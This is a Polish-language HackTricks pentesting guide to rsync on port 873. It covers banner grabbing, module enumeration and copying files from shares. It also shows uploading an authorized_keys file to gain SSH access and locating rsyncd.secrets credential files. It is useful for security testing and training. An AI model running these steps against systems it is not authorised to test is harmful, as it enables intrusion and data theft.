7.1 KiB
873 - Testowanie penetracyjne Rsync
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Z wikipedia:
rsync to narzędzie do efektywnego transferu i synchronizacji plików między komputerem a zewnętrznym dyskiem twardym oraz między komputerami w sieci poprzez porównywanie czasów modyfikacji i rozmiarów plików.[3] Jest powszechnie stosowany w systemach operacyjnych typu Unix-like. Algorytm rsync to rodzaj kodowania delta i jest używany do minimalizowania użycia sieci. Zlib może być używany do dodatkowego kompresowania danych,[3] a SSH lub stunnel mogą być używane do zabezpieczeń.
Domyślny port: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Wyliczanie
Baner i komunikacja manualna
Podczas wyliczania usługi rsync, warto rozpocząć od sprawdzenia banera, który może zawierać informacje o wersji i konfiguracji serwera rsync. Można to zrobić, wykonując polecenie:
nc <adres_ip> 873
Po nawiązaniu połączenia, można ręcznie komunikować się z serwerem rsync, wysyłając i odbierając polecenia. Przykładowe polecenia, które można użyć to:
@RSYNCD: <wersja>
@ERROR: <komunikat_błędu>
Ta metoda pozwala na ręczne eksplorowanie usługi rsync i uzyskiwanie informacji o jej konfiguracji i funkcjonalnościach.
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Wyszukiwanie udostępnionych folderów
Moduły Rsync są rozpoznawane jako udostępnione katalogi, które mogą być chronione hasłami. Aby zidentyfikować dostępne moduły i sprawdzić, czy wymagają hasła, używane są następujące polecenia:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Bądź świadomy, że niektóre udziały mogą nie pojawić się na liście, co może oznaczać ich ukrycie. Ponadto, dostęp do niektórych udziałów może być ograniczony do określonych poświadczeń, co jest sygnalizowane przez komunikat "Odmowa dostępu".
Atak Brute Force
Ręczne użycie Rsync
Po uzyskaniu listy modułów, działania zależą od tego, czy wymagane jest uwierzytelnienie. Bez uwierzytelnienia, wylistowanie i kopiowanie plików z udostępnionego folderu do lokalnego katalogu osiąga się poprzez:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Ten proces rekursywnie przesyła pliki, zachowując ich atrybuty i uprawnienia.
Z użyciem poświadczeń, można wylistować i pobrać pliki z udostępnionego folderu, postępując w następujący sposób, gdzie pojawi się prośba o podanie hasła:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Aby przesłać zawartość, taką jak plik authorized_keys dla dostępu, użyj:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Aby zlokalizować plik konfiguracyjny rsyncd, wykonaj:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
W tym pliku parametr secrets file może wskazywać na plik zawierający nazwy użytkowników i hasła do uwierzytelniania rsyncd.
Referencje
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.